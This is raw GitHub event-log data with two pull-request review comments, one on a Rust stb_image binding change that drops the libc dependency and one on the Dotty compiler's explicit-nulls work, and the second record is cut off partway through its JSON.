{"action":"created","comment":{"url":"https://api.github.com/repos/servo/rust-stb-image/pulls/comments/276665503","pull_request_review_id":228288213,"id":276665503,"node_id":"MDI0OlB1bGxSZXF1ZXN0UmV2aWV3Q29tbWVudDI3NjY2NTUwMw==","diff_hunk":"@@ -7,9 +7,16 @@\n // option. This file may not be copied, modified, or distributed\n // except according to those terms.\n \n-use stb_image::bindgen::*;\n+use stb_image::stbi_is_hdr_from_memory;\n+use stb_image::stbi_load_from_memory;\n+use stb_image::stbi_loadf_from_memory;\n+use stb_image::stbi_load;\n+use stb_image::stbi_loadf;\n+use stb_image::stbi_is_hdr;\n+use stb_image::stbi_image_free;\n \n-use libc::{c_void, c_int};\n+//use libc::{c_void, c_int};","path":"src/image.rs","position":14,"original_position":14,"commit_id":"d8de20b4fc9698435a8eac5217ff1b5990f56f4e","original_commit_id":"d8de20b4fc9698435a8eac5217ff1b5990f56f4e","user":{"login":"jdm","id":27658,"node_id":"MDQ6VXNlcjI3NjU4","avatar_url":"https://avatars1.githubusercontent.com/u/27658?v=4","gravatar_id":"","url":"https://api.github.com/users/jdm","html_url":"https://github.com/jdm","followers_url":"https://api.github.com/users/jdm/followers","following_url":"https://api.github.com/users/jdm/following{/other_user}","gists_url":"https://api.github.com/users/jdm/gists{/gist_id}","starred_url":"https://api.github.com/users/jdm/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jdm/subscriptions","organizations_url":"https://api.github.com/users/jdm/orgs","repos_url":"https://api.github.com/users/jdm/repos","events_url":"https://api.github.com/users/jdm/events{/privacy}","received_events_url":"https://api.github.com/users/jdm/received_events","type":"User","site_admin":false},"body":"Remove the commented out lines, please.","created_at":"2019-04-18T13:35:50Z","updated_at":"2019-04-18T13:37:28Z","html_url":"https://github.com/servo/rust-stb-image/pull/95#discussion_r276665503","pull_request_url":"https://api.github.com/repos/servo/rust-stb-image/pulls/95","author_association":"MEMBER","_links":{"self":{"href":"https://api.github.com/repos/servo/rust-stb-image/pulls/comments/276665503"},"html":{"href":"https://github.com/servo/rust-stb-image/pull/95#discussion_r276665503"},"pull_request":{"href":"https://api.github.com/repos/servo/rust-stb-image/pulls/95"}}},"pull_request":{"url":"https://api.github.com/repos/servo/rust-stb-image/pulls/95","id":271589772,"node_id":"MDExOlB1bGxSZXF1ZXN0MjcxNTg5Nzcy","html_url":"https://github.com/servo/rust-stb-image/pull/95","diff_url":"https://github.com/servo/rust-stb-image/pull/95.diff","patch_url":"https://github.com/servo/rust-stb-image/pull/95.patch","issue_url":"https://api.github.com/repos/servo/rust-stb-image/issues/95","number":95,"state":"open","locked":false,"title":"Removes dependency on libc","user":{"login":"tanis2000","id":287841,"node_id":"MDQ6VXNlcjI4Nzg0MQ==","avatar_url":"https://avatars2.githubusercontent.com/u/287841?v=4","gravatar_id":"","url":"https://api.github.com/users/tanis2000","html_url":"https://github.com/tanis2000","followers_url":"https://api.github.com/users/tanis2000/followers","following_url":"https://api.github.com/users/tanis2000/following{/other_user}","gists_url":"https://api.github.com/users/tanis2000/gists{/gist_id}","starred_url":"https://api.github.com/users/tanis2000/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/tanis2000/subscriptions","organizations_url":"https://api.github.com/users/tanis2000/orgs","repos_url":"https://api.github.com/users/tanis2000/repos","events_url":"https://api.github.com/users/tanis2000/events{/privacy}","received_events_url":"https://api.github.com/users/tanis2000/received_events","type":"User","site_admin":false},"body":"This PR removes dependency from libc and uses the `std::os::raw` types instead.\n\n<!-- Reviewable:start -->\n---\nThis change is [<img src=\"https://reviewable.io/review_button.svg\" height=\"34\" align=\"absmiddle\" alt=\"Reviewable\"/>](https://reviewable.io/reviews/servo/rust-stb-image/95)\n<!-- Reviewable:end -->\n","created_at":"2019-04-18T08:08:29Z","updated_at":"2019-04-18T13:37:28Z","closed_at":null,"merged_at":null,"merge_commit_sha":"536f4f996d52e3d2f5cd55728aeed6b23f81774a","assignee":null,"assignees":[],"requested_reviewers":[],"requested_teams":[],"labels":[],"milestone":null,"commits_url":"https://api.github.com/repos/servo/rust-stb-image/pulls/95/commits","review_comments_url":"https://api.github.com/repos/servo/rust-stb-image/pulls/95/comments","review_comment_url":"https://api.github.com/repos/servo/rust-stb-image/pulls/comments{/number}","comments_url":"https://api.github.com/repos/servo/rust-stb-image/issues/95/comments","statuses_url":"https://api.github.com/repos/servo/rust-stb-image/statuses/d8de20b4fc9698435a8eac5217ff1b5990f56f4e","head":{"label":"tanis2000:no-libc","ref":"no-libc","sha":"d8de20b4fc9698435a8eac5217ff1b5990f56f4e","user":{"login":"tanis2000","id":287841,"node_id":"MDQ6VXNlcjI4Nzg0MQ==","avatar_url":"https://avatars2.githubusercontent.com/u/287841?v=4","gravatar_id":"","url":"https://api.github.com/users/tanis2000","html_url":"https://github.com/tanis2000","followers_url":"https://api.github.com/users/tanis2000/followers","following_url":"https://api.github.com/users/tanis2000/following{/other_user}","gists_url":"https://api.github.com/users/tanis2000/gists{/gist_id}","starred_url":"https://api.github.com/users/tanis2000/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/tanis2000/subscriptions","organizations_url":"https://api.github.com/users/tanis2000/orgs","repos_url":"https://api.github.com/users/tanis2000/repos","events_url":"https://api.github.com/users/tanis2000/events{/privacy}","received_events_url":"https://api.github.com/users/tanis2000/received_events","type":"User","site_admin":false},"repo":{"id":181007933,"node_id":"MDEwOlJlcG9zaXRvcnkxODEwMDc5MzM=","name":"rust-stb-image","full_name":"tanis2000/rust-stb-image","private":false,"owner":{"login":"tanis2000","id":287841,"node_id":"MDQ6VXNlcjI4Nzg0MQ==","avatar_url":"https://avatars2.githubusercontent.com/u/287841?v=4","gravatar_id":"","url":"https://api.github.com/users/tanis2000","html_url":"https://github.com/tanis2000","followers_url":"https://api.github.com/users/tanis2000/followers","following_url":"https://api.github.com/users/tanis2000/following{/other_user}","gists_url":"https://api.github.com/users/tanis2000/gists{/gist_id}","starred_url":"https://api.github.com/users/tanis2000/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/tanis2000/subscriptions","organizations_url":"https://api.github.com/users/tanis2000/orgs","repos_url":"https://api.github.com/users/tanis2000/repos","events_url":"https://api.github.com/users/tanis2000/events{/privacy}","received_events_url":"https://api.github.com/users/tanis2000/received_events","type":"User","site_admin":false},"html_url":"https://github.com/tanis2000/rust-stb-image","description":"Rust bindings to the awesome stb_image library","fork":true,"url":"https://api.github.com/repos/tanis2000/rust-stb-image","forks_url":"https://api.github.com/repos/tanis2000/rust-stb-image/forks","keys_url":"https://api.github.com/repos/tanis2000/rust-stb-image/keys{/key_id}","collaborators_url":"https://api.github.com/repos/tanis2000/rust-stb-image/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/tanis2000/rust-stb-image/teams","hooks_url":"https://api.github.com/repos/tanis2000/rust-stb-image/hooks","issue_events_url":"https://api.github.com/repos/tanis2000/rust-stb-image/issues/events{/number}","events_url":"https://api.github.com/repos/tanis2000/rust-stb-image/events","assignees_url":"https://api.github.com/repos/tanis2000/rust-stb-image/assignees{/user}","branches_url":"https://api.github.com/repos/tanis2000/rust-stb-image/branches{/branch}","tags_url":"https://api.github.com/repos/tanis2000/rust-stb-image/tags","blobs_url":"https://api.github.com/repos/tanis2000/rust-stb-image/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/tanis2000/rust-stb-image/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/tanis2000/rust-stb-image/git/refs{/sha}","trees_url":"https://api.github.com/repos/tanis2000/rust-stb-image/git/trees{/sha}","statuses_url":"https://api.github.com/repos/tanis2000/rust-stb-image/statuses/{sha}","languages_url":"https://api.github.com/repos/tanis2000/rust-stb-image/languages","stargazers_url":"https://api.github.com/repos/tanis2000/rust-stb-image/stargazers","contributors_url":"https://api.github.com/repos/tanis2000/rust-stb-image/contributors","subscribers_url":"https://api.github.com/repos/tanis2000/rust-stb-image/subscribers","subscription_url":"https://api.github.com/repos/tanis2000/rust-stb-image/subscription","commits_url":"https://api.github.com/repos/tanis2000/rust-stb-image/commits{/sha}","git_commits_url":"https://api.github.com/repos/tanis2000/rust-stb-image/git/commits{/sha}","comments_url":"https://api.github.com/repos/tanis2000/rust-stb-image/comments{/number}","issue_comment_url":"https://api.github.com/repos/tanis2000/rust-stb-image/issues/comments{/number}","contents_url":"https://api.github.com/repos/tanis2000/rust-stb-image/contents/{+path}","compare_url":"https://api.github.com/repos/tanis2000/rust-stb-image/compare/{base}...{head}","merges_url":"https://api.github.com/repos/tanis2000/rust-stb-image/merges","archive_url":"https://api.github.com/repos/tanis2000/rust-stb-image/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/tanis2000/rust-stb-image/downloads","issues_url":"https://api.github.com/repos/tanis2000/rust-stb-image/issues{/number}","pulls_url":"https://api.github.com/repos/tanis2000/rust-stb-image/pulls{/number}","milestones_url":"https://api.github.com/repos/tanis2000/rust-stb-image/milestones{/number}","notifications_url":"https://api.github.com/repos/tanis2000/rust-stb-image/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/tanis2000/rust-stb-image/labels{/name}","releases_url":"https://api.github.com/repos/tanis2000/rust-stb-image/releases{/id}","deployments_url":"https://api.github.com/repos/tanis2000/rust-stb-image/deployments","created_at":"2019-04-12T12:54:04Z","updated_at":"2019-04-12T12:54:06Z","pushed_at":"2019-04-18T08:07:29Z","git_url":"git://github.com/tanis2000/rust-stb-image.git","ssh_url":"git@github.com:tanis2000/rust-stb-image.git","clone_url":"https://github.com/tanis2000/rust-stb-image.git","svn_url":"https://github.com/tanis2000/rust-stb-image","homepage":null,"size":236,"stargazers_count":0,"watchers_count":0,"language":"C","has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":0,"license":{"key":"other","name":"Other","spdx_id":"NOASSERTION","url":null,"node_id":"MDc6TGljZW5zZTA="},"forks":0,"open_issues":0,"watchers":0,"default_branch":"master"}},"base":{"label":"servo:master","ref":"master","sha":"e98b84bb344e46eda222954f2487b75d5e37bc4a","user":{"login":"servo","id":2566135,"node_id":"MDEyOk9yZ2FuaXphdGlvbjI1NjYxMzU=","avatar_url":"https://avatars1.githubusercontent.com/u/2566135?v=4","gravatar_id":"","url":"https://api.github.com/users/servo","html_url":"https://github.com/servo","followers_url":"https://api.github.com/users/servo/followers","following_url":"https://api.github.com/users/servo/following{/other_user}","gists_url":"https://api.github.com/users/servo/gists{/gist_id}","starred_url":"https://api.github.com/users/servo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/servo/subscriptions","organizations_url":"https://api.github.com/users/servo/orgs","repos_url":"https://api.github.com/users/servo/repos","events_url":"https://api.github.com/users/servo/events{/privacy}","received_events_url":"https://api.github.com/users/servo/received_events","type":"Organization","site_admin":false},"repo":{"id":4440077,"node_id":"MDEwOlJlcG9zaXRvcnk0NDQwMDc3","name":"rust-stb-image","full_name":"servo/rust-stb-image","private":false,"owner":{"login":"servo","id":2566135,"node_id":"MDEyOk9yZ2FuaXphdGlvbjI1NjYxMzU=","avatar_url":"https://avatars1.githubusercontent.com/u/2566135?v=4","gravatar_id":"","url":"https://api.github.com/users/servo","html_url":"https://github.com/servo","followers_url":"https://api.github.com/users/servo/followers","following_url":"https://api.github.com/users/servo/following{/other_user}","gists_url":"https://api.github.com/users/servo/gists{/gist_id}","starred_url":"https://api.github.com/users/servo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/servo/subscriptions","organizations_url":"https://api.github.com/users/servo/orgs","repos_url":"https://api.github.com/users/servo/repos","events_url":"https://api.github.com/users/servo/events{/privacy}","received_events_url":"https://api.github.com/users/servo/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/servo/rust-stb-image","description":"Rust bindings to the awesome stb_image library","fork":false,"url":"https://api.github.com/repos/servo/rust-stb-image","forks_url":"https://api.github.com/repos/servo/rust-stb-image/forks","keys_url":"https://api.github.com/repos/servo/rust-stb-image/keys{/key_id}","collaborators_url":"https://api.github.com/repos/servo/rust-stb-image/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/servo/rust-stb-image/teams","hooks_url":"https://api.github.com/repos/servo/rust-stb-image/hooks","issue_events_url":"https://api.github.com/repos/servo/rust-stb-image/issues/events{/number}","events_url":"https://api.github.com/repos/servo/rust-stb-image/events","assignees_url":"https://api.github.com/repos/servo/rust-stb-image/assignees{/user}","branches_url":"https://api.github.com/repos/servo/rust-stb-image/branches{/branch}","tags_url":"https://api.github.com/repos/servo/rust-stb-image/tags","blobs_url":"https://api.github.com/repos/servo/rust-stb-image/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/servo/rust-stb-image/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/servo/rust-stb-image/git/refs{/sha}","trees_url":"https://api.github.com/repos/servo/rust-stb-image/git/trees{/sha}","statuses_url":"https://api.github.com/repos/servo/rust-stb-image/statuses/{sha}","languages_url":"https://api.github.com/repos/servo/rust-stb-image/languages","stargazers_url":"https://api.github.com/repos/servo/rust-stb-image/stargazers","contributors_url":"https://api.github.com/repos/servo/rust-stb-image/contributors","subscribers_url":"https://api.github.com/repos/servo/rust-stb-image/subscribers","subscription_url":"https://api.github.com/repos/servo/rust-stb-image/subscription","commits_url":"https://api.github.com/repos/servo/rust-stb-image/commits{/sha}","git_commits_url":"https://api.github.com/repos/servo/rust-stb-image/git/commits{/sha}","comments_url":"https://api.github.com/repos/servo/rust-stb-image/comments{/number}","issue_comment_url":"https://api.github.com/repos/servo/rust-stb-image/issues/comments{/number}","contents_url":"https://api.github.com/repos/servo/rust-stb-image/contents/{+path}","compare_url":"https://api.github.com/repos/servo/rust-stb-image/compare/{base}...{head}","merges_url":"https://api.github.com/repos/servo/rust-stb-image/merges","archive_url":"https://api.github.com/repos/servo/rust-stb-image/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/servo/rust-stb-image/downloads","issues_url":"https://api.github.com/repos/servo/rust-stb-image/issues{/number}","pulls_url":"https://api.github.com/repos/servo/rust-stb-image/pulls{/number}","milestones_url":"https://api.github.com/repos/servo/rust-stb-image/milestones{/number}","notifications_url":"https://api.github.com/repos/servo/rust-stb-image/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/servo/rust-stb-image/labels{/name}","releases_url":"https://api.github.com/repos/servo/rust-stb-image/releases{/id}","deployments_url":"https://api.github.com/repos/servo/rust-stb-image/deployments","created_at":"2012-05-25T01:36:09Z","updated_at":"2019-02-26T16:26:00Z","pushed_at":"2019-04-18T08:08:36Z","git_url":"git://github.com/servo/rust-stb-image.git","ssh_url":"git@github.com:servo/rust-stb-image.git","clone_url":"https://github.com/servo/rust-stb-image.git","svn_url":"https://github.com/servo/rust-stb-image","homepage":null,"size":236,"stargazers_count":37,"watchers_count":37,"language":"C","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":32,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":7,"license":{"key":"other","name":"Other","spdx_id":"NOASSERTION","url":null,"node_id":"MDc6TGljZW5zZTA="},"forks":32,"open_issues":7,"watchers":37,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/servo/rust-stb-image/pulls/95"},"html":{"href":"https://github.com/servo/rust-stb-image/pull/95"},"issue":{"href":"https://api.github.com/repos/servo/rust-stb-image/issues/95"},"comments":{"href":"https://api.github.com/repos/servo/rust-stb-image/issues/95/comments"},"review_comments":{"href":"https://api.github.com/repos/servo/rust-stb-image/pulls/95/comments"},"review_comment":{"href":"https://api.github.com/repos/servo/rust-stb-image/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/servo/rust-stb-image/pulls/95/commits"},"statuses":{"href":"https://api.github.com/repos/servo/rust-stb-image/statuses/d8de20b4fc9698435a8eac5217ff1b5990f56f4e"}},"author_association":"NONE"}}
|
{
"id": 4440077,
"name": "servo/rust-stb-image",
"url": "https://api.github.com/repos/servo/rust-stb-image"
}
|
{
"id": 27658,
"login": "jdm",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/27658?",
"url": "https://api.github.com/users/jdm"
}
|
{
"id": 2566135,
"login": "servo",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/2566135?",
"url": "https://api.github.com/orgs/servo"
}
| 2019-04-18T13:35:50 |
9469452110
|
{"actor":{"display_login":"jdm"}}
|
PullRequestReviewCommentEvent
| true |
{"action":"created","comment":{"url":"https://api.github.com/repos/lampepfl/dotty/pulls/comments/333179464","pull_request_review_id":299627703,"id":333179464,"node_id":"MDI0OlB1bGxSZXF1ZXN0UmV2aWV3Q29tbWVudDMzMzE3OTQ2NA==","diff_hunk":"@@ -1128,10 +1167,23 @@ class Definitions {\n name.length > prefix.length &&\n name.drop(prefix.length).forall(_.isDigit))\n \n- def isBottomClass(cls: Symbol): Boolean =\n+ def isBottomClass(cls: Symbol): Boolean = {","path":"compiler/src/dotty/tools/dotc/core/Definitions.scala","position":null,"original_position":118,"commit_id":"19925a50a0d1d501da364c81244ab28ca484d060","original_commit_id":"b866bb39405f52b14771f94b9870cd738fabef28","user":{"login":"abeln","id":1782179,"node_id":"MDQ6VXNlcjE3ODIxNzk=","avatar_url":"https://avatars2.githubusercontent.com/u/1782179?v=4","gravatar_id":"","url":"https://api.github.com/users/abeln","html_url":"https://github.com/abeln","followers_url":"https://api.github.com/users/abeln/followers","following_url":"https://api.github.com/users/abeln/following{/other_user}","gists_url":"https://api.github.com/users/abeln/gists{/gist_id}","starred_url":"https://api.github.com/users/abeln/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/abeln/subscriptions","organizations_url":"https://api.github.com/users/abeln/orgs","repos_url":"https://api.github.com/users/abeln/repos","events_url":"https://api.github.com/users/abeln/events{/privacy}","received_events_url":"https://api.github.com/users/abeln/received_events","type":"User","site_admin":false},"body":"Done","created_at":"2019-10-09T18:57:14Z","updated_at":"2019-10-09T18:57:14Z","html_url":"https://github.com/lampepfl/dotty/pull/6344#discussion_r333179464","pull_request_url":"https://api.github.com/repos/lampepfl/dotty/pulls/6344","author_association":"COLLABORATOR","_links":{"self":{"href":"https://api.github.com/repos/lampepfl/dotty/pulls/comments/333179464"},"html":{"href":"https://github.com/lampepfl/dotty/pull/6344#discussion_r333179464"},"pull_request":{"href":"https://api.github.com/repos/lampepfl/dotty/pulls/6344"}},"in_reply_to_id":299946345},"pull_request":{"url":"https://api.github.com/repos/lampepfl/dotty/pulls/6344","id":271859598,"node_id":"MDExOlB1bGxSZXF1ZXN0MjcxODU5NTk4","html_url":"https://github.com/lampepfl/dotty/pull/6344","diff_url":"https://github.com/lampepfl/dotty/pull/6344.diff","patch_url":"https://github.com/lampepfl/dotty/pull/6344.patch","issue_url":"https://api.github.com/repos/lampepfl/dotty/issues/6344","number":6344,"state":"open","locked":false,"title":"Dotty with explicit nulls","user":{"login":"abeln","id":1782179,"node_id":"MDQ6VXNlcjE3ODIxNzk=","avatar_url":"https://avatars2.githubusercontent.com/u/1782179?v=4","gravatar_id":"","url":"https://api.github.com/users/abeln","html_url":"https://github.com/abeln","followers_url":"https://api.github.com/users/abeln/followers","following_url":"https://api.github.com/users/abeln/following{/other_user}","gists_url":"https://api.github.com/users/abeln/gists{/gist_id}","starred_url":"https://api.github.com/users/abeln/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/abeln/subscriptions","organizations_url":"https://api.github.com/users/abeln/orgs","repos_url":"https://api.github.com/users/abeln/repos","events_url":"https://api.github.com/users/abeln/events{/privacy}","received_events_url":"https://api.github.com/users/abeln/received_events","type":"User","site_admin":false},"body":"This PR adds a `-Yexplicit-nulls` experimental flag which, if enabled, modifies the type system so that reference types are non-nullable. Nullability needs then to be expressed explicitly via unions (e.g. `String|Null`).\r\n\r\nAt a high level, the changes to the compiler are:\r\n1) a new type hierarchy for `Null`, as described\r\n2) a \"translation layer\" from Java types to Scala types, which tries to balance soundness and usability\r\n3) an implementation of flow-typing so we can support a more natural style of programming with explicit nulls (e.g. `if (x != null && x.length < 10)`)\r\n\r\nInternal doc: https://gist.github.com/abeln/573cd43ec062ca0ba2dbdae625d26d42\r\nUser-facing doc: https://gist.github.com/abeln/ca50cd5a3b94316c586db5c986049d2d","created_at":"2019-04-18T22:50:57Z","updated_at":"2019-10-09T18:57:14Z","closed_at":null,"merged_at":null,"merge_commit_sha":"b87940968401a4061707d48a9f16f51e07cebe01","assignee":{"login":"abeln","id":1782179,"node_id":"MDQ6VXNlcjE3ODIxNzk=","avatar_url":"https://avatars2.githubusercontent.com/u/1782179?v=4","gravatar_id":"","url":"https://api.github.com/users/abeln","html_url":"https://github.com/abeln","followers_url":"https://api.github.com/users/abeln/followers","following_url":"https://api.github.com/users/abeln/following{/other_user}","gists_url":"https://api.github.com/users/abeln/gists{/gist_id}","starred_url":"https://api.github.com/users/abeln/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/abeln/subscriptions","organizations_url":"https://api.github.com/users/abeln/orgs","repos_url":"https://api.github.com/users/abeln/repos","events_url":"https://api.github.com/users/abeln/events{/privacy}","received_events_url":"https://api.github.com/users/abeln/received_events","type":"User","site_admin":false},"assignees":[{"login":"abeln","id":1782179,"node_id":"MDQ6VXNlcjE3ODIxNzk=","avatar_url":"https://avatars2.githubusercontent.com/u/1782179?v=4","gravatar_id":"","url":"https://api.github.com/users/abeln","html_url":"https://github.com/abeln","followers_url":"https://api.github.com/users/abeln/followers","following_url":"https://api.github.com/users/abeln/following{/other_user}","gists_url":"https://api.github.com/users/abeln/gists{/gist_id}","starred_url":"https://api.github.com/users/abeln/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/abeln/subscriptions","organizations_url":"https://api.github.com/users/abeln/orgs","repos_url":"https://api.github.com/users/abeln/repos","events_url":"https://api.github.com/users/abeln/events{/privacy}","received_events_url":"https://api.github.com/users/abeln/received_events","type":"User","site_admin":false}],"requested_reviewers":[{"login":"smarter","id":63430,"node_id":"MDQ6VXNlcjYzNDMw","avatar_url":"https://avatars2.githubusercontent.com/u/63430?v=4","gravatar_id":"","url":"https://api.github.com/users/smarter","html_url":"https://github.com/smarter","followers_url":"https://api.github.com/users/smarter/followers","following_url":"https://api.github.com/users/smarter/following{/other_user}","gists_url":"https://api.github.com/users/smarter/gists{/gist_id}","starred_url":"https://api.github.com/users/smarter/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/smarter/subscriptions","organizations_url":"https://api.github.com/users/smarter/orgs","repos_url":"https://api.github.com/users/smarter/repos","events_url":"https://api.github.com/users/smarter/events{/privacy}","received_events_url":"https://api.github.com/users/smarter/received_events","type":"User","site_admin":false}],"requested_teams":[],"labels":[],"milestone":null,"commits_url":"https://api.github.com/repos/lampepfl/dotty/pulls/6344/commits","review_comments_url":"https://api.github.com/repos/lampepfl/dotty/pulls/6344/comments","review_comment_url":"https://api.github.com/repos/lampepfl/dotty/pulls/comments{/number}","comments_url":"https://api.github.com/repos/lampepfl/dotty/issues/6344/comments","statuses_url":"https://api.github.com/repos/lampepfl/dotty/statuses/19925a50a0d1d501da364c81244ab28ca484d060","head":{"label":"abeln:dotty-explicit-nulls","ref":"dotty-explicit-nulls","sha":"19925a50a0d1d501da364c81244ab28ca484d060","user":{"login":"abeln","id":1782179,"node_id":"MDQ6VXNlcjE3ODIxNzk=","avatar_url":"https://avatars2.githubusercontent.com/u/1782179?v=4","gravatar_id":"","url":"https://api.github.com/users/abeln","html_url":"https://github.com/abeln","followers_url":"https://api.github.com/users/abeln/followers","following_url":"https://api.github.com/users/abeln/following{/other_user}","gists_url":"https://api.github.com/users/abeln/gists{/gist_id}","starred_url":"https://api.github.com/users/abeln/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/abeln/subscriptions","organizations_url":"https://api.github.com/users/abeln/orgs","repos_url":"https://api.github.com/users/abeln/repos","events_url":"https://api.github.com/users/abeln/events{/privacy}","received_events_url":"https://api.github.com/users/abeln/received_events","type":"User","site_admin":false},"repo":{"id":85237132,"node_id":"MDEwOlJlcG9zaXRvcnk4NTIzNzEzMg==","name":"dotty","full_name":"abeln/dotty","private":false,"owner":{"login":"abeln","id":1782179,"node_id":"MDQ6VXNlcjE3ODIxNzk=","avatar_url":"https://avatars2.githubusercontent.com/u/1782179?v=4","gravatar_id":"","url":"https://api.github.com/users/abeln","html_url":"https://github.com/abeln","followers_url":"https://api.github.com/users/abeln/followers","following_url":"https://api.github.com/users/abeln/following{/other_user}","gists_url":"https://api.github.com/users/abeln/gists{/gist_id}","starred_url":"https://api.github.com/users/abeln/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/abeln/subscriptions","organizations_url":"https://api.github.com/users/abeln/orgs","repos_url":"https://api.github.com/users/abeln/repos","events_url":"https://api.github.com/users/abeln/events{/privacy}","received_events_url":"https://api.github.com/users/abeln/received_events","type":"User","site_admin":false},"html_url":"https://github.com/abeln/dotty","description":"Scala with explicit nulls","fork":true,"url":"https://api.github.com/repos/abeln/dotty","forks_url":"https://api.github.com/repos/abeln/dotty/forks","keys_url":"https://api.github.com/repos/abeln/dotty/keys{/key_id}","collaborators_url":"https://api.github.com/repos/abeln/dotty/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/abeln/dotty/teams","hooks_url":"https://api.github.com/repos/abeln/dotty/hooks","issue_events_url":"https://api.github.com/repos/abeln/dotty/issues/events{/number}","events_url":"https://api.github.com/repos/abeln/dotty/events","assignees_url":"https://api.github.com/repos/abeln/dotty/assignees{/user}","branches_url":"https://api.github.com/repos/abeln/dotty/branches{/branch}","tags_url":"https://api.github.com/repos/abeln/dotty/tags","blobs_url":"https://api.github.com/repos/abeln/dotty/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/abeln/dotty/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/abeln/dotty/git/refs{/sha}","trees_url":"https://api.github.com/repos/abeln/dotty/git/trees{/sha}","statuses_url":"https://api.github.com/repos/abeln/dotty/statuses/{sha}","languages_url":"https://api.github.com/repos/abeln/dotty/languages","stargazers_url":"https://api.github.com/repos/abeln/dotty/stargazers","contributors_url":"https://api.github.com/repos/abeln/dotty/contributors","subscribers_url":"https://api.github.com/repos/abeln/dotty/subscribers","subscription_url":"https://api.github.com/repos/abeln/dotty/subscription","commits_url":"https://api.github.com/repos/abeln/dotty/commits{/sha}","git_commits_url":"https://api.github.com/repos/abeln/dotty/git/commits{/sha}","comments_url":"https://api.github.com/repos/abeln/dotty/comments{/number}","issue_comment_url":"https://api.github.com/repos/abeln/dotty/issues/comments{/number}","contents_url":"https://api.github.com/repos/abeln/dotty/contents/{+path}","compare_url":"https://api.github.com/repos/abeln/dotty/compare/{base}...{head}","merges_url":"https://api.github.com/repos/abeln/dotty/merges","archive_url":"https://api.github.com/repos/abeln/dotty/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/abeln/dotty/downloads","issues_url":"https://api.github.com/repos/abeln/dotty/issues{/number}","pulls_url":"https://api.github.com/repos/abeln/dotty/pulls{/number}","milestones_url":"https://api.github.com/repos/abeln/dotty/milestones{/number}","notifications_url":"https://api.github.com/repos/abeln/dotty/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/abeln/dotty/labels{/name}","releases_url":"https://api.github.com/repos/abeln/dotty/releases{/id}","deployments_url":"https://api.github.com/repos/abeln/dotty/deployments","created_at":"2017-03-16T20:08:05Z","updated_at":"2019-09-12T13:49:13Z","pushed_at":"2019-10-09T18:27:46Z","git_url":"git://github.com/abeln/dotty.git","ssh_url":"git@github.com:abeln/dotty.git","clone_url":"https://github.com/abeln/dotty.git","svn_url":"https://github.com/abeln/dotty","homepage":"https://github.com/abeln/dotty/wiki/scala-with-explicit-nulls","size":74783,"stargazers_count":23,"watchers_count":23,"language":"Scala","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":2,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":15,"license":{"key":"other","name":"Other","spdx_id":"NOASSERTION","url":null,"node_id":"MDc6TGljZW5zZTA="},"forks":2,"open_issues":15,"watchers":23,"default_branch":"explicit-null"}},"base":{"label":"lampepfl:master","ref":"master","sha":"79d20346c9b093e099b69c24fa344e37e6a71def","user":{"login":"lampepfl","id":2684793,"node_id":"MDEyOk9yZ2FuaXphdGlvbjI2ODQ3OTM=","avatar_url":"https://avatars1.githubusercontent.com/u/2684793?v=4","gravatar_id":"","url":"https://api.github.com/users/lampepfl","html_url":"https://github.com/lampepfl","followers_url":"https://api.github.com/users/lampepfl/followers","following_url":"https://api.github.com/users/lampepfl/following{/other_user}","gists_url":"https://api.github.com/users/lampepfl/gists{/gist_id}","starred_url":"https://api.github.com/users/lampepfl/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/lampepfl/subscriptions","organizations_url":"https://api.github.com/users/lampepfl/orgs","repos_url":"https://api.github.com/users/lampepfl/repos","events_url":"https://api.github.com/users/lampepfl/events{/privacy}","received_events_url":"https://api.github.com/users/lampepfl/received_events","type":"Organization","site_admin":false},"repo":{"id":7035651,"node_id":"MDEwOlJlcG9zaXRvcnk3MDM1NjUx","name":"dotty","full_name":"lampepfl/dotty","private":false,"owner":{"login":"lampepfl","id":2684793,"node_id":"MDEyOk9yZ2FuaXphdGlvbjI2ODQ3OTM=","avatar_url":"https://avatars1.githubusercontent.com/u/2684793?v=4","gravatar_id":"","url":"https://api.github.com/users/lampepfl","html_url":"https://github.com/lampepfl","followers_url":"https://api.github.com/users/lampepfl/followers","following_url":"https://api.github.com/users/lampepfl/following{/other_user}","gists_url":"https://api.github.com/users/lampepfl/gists{/gist_id}","starred_url":"https://api.github.com/users/lampepfl/starred{/owner}